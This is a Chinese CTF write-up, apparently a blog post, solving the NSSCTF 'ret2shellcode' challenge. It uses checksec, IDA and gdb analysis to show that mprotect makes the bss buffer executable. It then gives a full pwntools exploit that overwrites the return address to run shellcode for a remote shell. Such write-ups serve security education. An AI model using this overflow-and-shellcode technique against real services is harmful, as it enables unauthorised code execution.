nssctf ret2shellcode

首先checksec一下,如下图

根据题目就可以知道,这道题考的是ret2shellcode了,注意一下这边nx保护是开启的,接着利用

ida分析一下附件,进入main函数分析如下

注意nx保护开启,所以这边的mprotect函数需要额外关注一下,进入buff观察看下

可以知道buff在bss段存储且我们知道地址,这边我们通过gdb调试,来查看经过mprotect函数后的

各段情况,断点打在0x401220,然后按n单步调试,期间可以通过vmmap,查看内存情况,可以

得到以下两张图的对比

我们知道buff在bss段,而且地址是0x4040a0也就是介于0x404000和0x405000之间,后面

可以看到该内存权限由rw变为了rwx,也就是可以执行了,那么这个时候注入的shellcode就可

以执行了,从而获取shell,exp如下

from pwn import *

context(log_level="debug",arch='amd64')

p = remote('node5.anna.nssctf.cn',27979)

shellcode=asm(shellcraft.sh())

buff_addr= 0x4040a0

bias = 0x100+0x8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

p.sendline(payload)

p.interactive()

这边我来解释一下payload = shellcode.ljust(bias,b'a')  +p64(buff_addr) 这一行的意思,上面已经

定义好了shellcode和bias的值,大概意思就是,将shellcode左对齐补满bias个长度如果不够,就

用a填补上

大概攻击思路,read函数读入字符串,这边通过将shellcode存储到s数组中,然后再是溢出

将main函数的返回地址修改为buff的地址,由于main函数中会将s的内容复制给buff,所以

main函数运行结束后buff中会有shellcode,此时由于返回地址被覆盖为了buff的地址,此时

就会执行shellcode,攻击奏效,可以获得shell。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值